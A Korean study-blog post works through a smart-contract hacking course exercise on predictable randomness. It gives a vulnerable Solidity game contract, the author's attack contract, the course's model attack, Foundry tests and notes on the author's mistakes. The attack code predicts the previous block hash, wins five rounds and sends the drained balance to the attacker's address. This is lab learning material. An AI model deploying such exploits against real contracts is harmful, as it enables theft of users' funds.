이전과 마찬가지로 컨트랙트를 공격해서 자금을 탈취하면 된다. 대상 컨트랙트는 다음과 같다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
/**
* @title Game2
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract Game2 {
// Calculate wins in a row for every player
mapping(address => uint) public players;
uint256 lastValue;
uint8 constant MIN_WINS_IN_A_ROW = 5;
constructor() payable {}
function play(bool _guess) external payable {
require(msg.value == 1 ether, "Playing costs 1 ETH");
// uint representation of previous block hash
uint256 value = uint256(blockhash(block.number - 1));
require(lastValue != value, "One round at a block!");
lastValue = value;
// Generate a random number, and check the answer
uint256 random = value % 2;
bool answer = random == 1 ? true : false;
if (answer == _guess) {
players[msg.sender]++;
// Did pleayer win 5 times in a row?
if(players[msg.sender] == MIN_WINS_IN_A_ROW) {
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send ETH");
players[msg.sender] = 0;
}
} else {
players[msg.sender] = 0;
}
}
}
이전 블록의 해시값이 짝수인지 홀수인지 5번 연속으로 맞추면 된다.
아래는 내가 작성한 컨트랙트다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
interface IGame2 {
function play(bool) external;
}
contract Attack {
IGame2 game2;
address attacker;
uint256 hashValue;
bool guess;
constructor(address _game2) {
game2 = IGame2(_game2);
attacker = msg.sender;
hashValue = uint256(blockhash(block.number - 1));
}
function attack() external payable{
for (uint256 i=0; i<5; i++) {
if(hashValue % 2 == 1) {
guess = true;
} else {
guess = false;
}
game2.play(guess);
updateHash(hashValue);
}
}
function updateHash(uint256 _number) public returns (uint256){
hashValue = uint256(blockhash(block.number - 1));
return hashValue;
}
receive() payable external{
(bool success, ) = attacker.call{value: 10 ether}("");
require(success, "Tx failed");
}
}
아래는 모범 답안이다.
interface IGame2 {
function play(bool _guess) external payable;
function players(address) external;
}
contract Attack {
IGame2 game;
address payable owner;
constructor(address _game) {
game = IGame2(_game);
owner = payable(msg.sender);
}
function attack() external payable {
// uint representation of previous block hash
uint256 value = uint256(blockhash(block.number - 1));
// Generate a random number, and check the answer
uint256 random = value % 2;
bool answer = random == 1 ? true : false;
game.play{value: 1 ether}(answer);
}
receive() external payable {
(bool sent, ) = owner.call{value: address(this).balance}("");
require(sent, "Failed to send ETH");
}
}
msg.sender
를 설정할 때 payable
을 사용했다.
나는 constructor에서부터 해시값을 가져왔는데 모범답안에서는 공격함수가 실행될 때 해시를 가져오도록 했다. 공격 컨트랙트가 디플로이 될 때랑 공격 함수를 호출할 때 당연히 해시가 다를 것이므로 constructor에서부터 해시값을 가져오는 것은 잘못된 방향인 것 같다. 또한 내가 작성한 방향대로 해시를 업데이트 하는 함수를 바깥에 만드는 것도 문제가 되는데, 업데이트 할 때의 해시와 공격할 때의 해시가 다를 수 있기 때문이다.
players
가 왜 인터페이스에 있는지 아직도 의문이다..
내가 작성한 테스트 코드는 다음과 같다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/randomness-vulnerabilities-2/Game2.sol";
import "../../src/randomness-vulnerabilities-2/Attack.sol";
/**
@dev run "forge test --match-contract RV2"
*/
contract TestRV2 is Test {
address deployer;
address attacker;
Game2 game2;
Attack attack;
function setUp() public {
deployer = address(0);
attacker = address(1);
vm.deal(deployer, 10 ether);
vm.deal(attacker, 10 ether);
vm.prank(deployer);
game2 = new Game2();
vm.deal(address(game2), 10 ether);
vm.prank(attacker);
attack = new Attack(address(game2));
assertEq(address(game2).balance, 10 ether);
}
function test_Attack() public {
vm.startPrank(attacker);
for (uint256 i=0; i<5; i++){
vm.roll(100 + i);
attack.attack{value: 1 ether}();
}
vm.stopPrank();
assertEq(address(attacker).balance, 20 ether);
assertEq(address(game2).balance, 0);
}
}
아래는 모범답안이다.
contract TestRV2 is Test {
uint128 public constant GAME_POT = 20 ether;
uint128 public constant GAME_FEE = 1 ether;
uint256 init_attacker_bal;
Game2 game;
Attack attack;
address deployer;
address attacker;
function setUp() public {
deployer = address(1);
attacker = address(2);
vm.deal(attacker, 10 ether);
vm.prank(deployer);
game = new Game2();
vm.deal(address(game), GAME_POT);
vm.prank(attacker);
attack = new Attack(address(game));
uint256 inGame = address(game).balance;
assertEq(inGame, GAME_POT);
init_attacker_bal = address(attacker).balance;
}
function test_Attack() public {
for (uint i = 0; i < 5; i++) {
attack.attack{value: 1 ether}();
vm.roll(block.number + 1);
}
assertEq(address(game).balance, 0);
assertEq(address(attacker).balance >= init_attacker_bal + GAME_POT, true);
}
}
전체적인 방향과 스타일이 모범답안과 비슷하다. 첫 번째 수업 때 작성한 테스트 코드에 비하면 정말 많이 나아졌다.(뿌듯)
block.number
는 vm.roll
로 설정 가능하다.
attack()
함수 자체에는 value 없이 호출하게 되어있더라도 함수 내부에 value를 사용하는 함수가 있다면, 테스트 코드 작성할 때 attack()
함수를 value와 함께 호출해야 한다.
function attack() external payable {
// uint representation of previous block hash
uint256 value = uint256(blockhash(block.number - 1));
// Generate a random number, and check the answer
uint256 random = value % 2;
bool answer = random == 1 ? true : false;
game.play{value: 1 ether}(answer);
}